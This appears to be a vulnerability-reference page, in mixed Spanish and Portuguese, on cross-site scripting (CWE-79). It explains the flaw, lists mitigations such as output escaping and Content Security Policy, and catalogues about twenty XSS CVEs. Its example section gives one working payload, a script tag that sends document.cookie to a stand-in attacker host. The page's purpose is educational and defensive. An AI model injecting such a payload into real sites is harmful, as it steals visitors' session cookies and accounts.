Fallos del tipo CWE-79

29.613 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2023-31805MEDIUMCross Site Scripting vulnerability found in Chamilo Lms v.1.11.18 allows a local authenticated attacker to execute arbitrary code via the hoEPSS 0.4%CVE-2024-54442MEDIUMWordPress Better WP Login Page plugin <= 1.1.2 - Stored Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2025-11291MEDIUMixmaps website2017 HTTP GET Request map.php cross site scriptingEPSS 0.4%CVE-2024-7787MEDIUMReflected XSS in ITG Computer Technology's vSRM Supplier Relationship Management SystemEPSS 0.4%CVE-2024-50990MEDIUMA Reflected Cross Site Scriptng (XSS) vulnerability was found in /omrs/user/search.php in PHPGurukul Online Marriage Registration System v1.EPSS 0.4%CVE-2024-12441MEDIUMBP Email Assign Templates <= 1.5 - Reflected Cross-Site ScriptingEPSS 0.4%CVE-2022-2507MEDIUMIn affected versions of Octopus Deploy it is possible to render user supplied input into the webpageEPSS 0.4%CVE-2024-9856MEDIUM07FLYCMS/07FLY-CMS/07FlyCRM System Settings Page cross site scriptingEPSS 0.4%CVE-2025-8211MEDIUMRoothub SystemConfigAdminController.java edit cross site scriptingEPSS 0.4%CVE-2024-12162MEDIUMVideo & Photo Gallery for Ultimate Member <= 1.1.1 - Reflected Cross-Site ScriptingEPSS 0.4%CVE-2025-27676MEDIUMVasion Print (formerly PrinterLogic) before Virtual Appliance Host 22.0.843 Application 20.0.1923 allows Cross-Site Scripting in Reports V-2EPSS 0.4%CVE-2025-0961MEDIUMcode-projects Job Recruitment load_job-details.php cross site scriptingEPSS 0.4%CVE-2025-58064LOWCKEditor is susceptible to Cross-Site Scripting (XSS) through its clipboard packageEPSS 0.4%CVE-2023-31799MEDIUMCross Site Scripting vulnerability found in Chamilo Lms v.1.11.18 allows a local attacker to execute arbitrary code via the system annnounceEPSS 0.4%CVE-2023-31800MEDIUMCross Site Scripting vulnerability found in Chamilo Lms v.1.11.18 allows a local attacker to execute arbitrary code via the forum title paraEPSS 0.4%CVE-2022-47602MEDIUMWordPress WP Table Manager Plugin <= 3.5.2 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2023-2121MEDIUMVault’s KV Diff Viewer Allowed for HTML InjectionEPSS 0.4%CVE-2023-31806MEDIUMCross Site Scripting vulnerability found in Chamilo Lms v.1.11.18 allows a local attacker to execute arbitrary code via a crafted payload toEPSS 0.4%CVE-2024-10414MEDIUMPHPGurukul Vehicle Record System edit-brand.php cross site scriptingEPSS 0.4%CVE-2024-32469HIGHDecidim has cross-site scripting (XSS) in the paginationEPSS 0.4%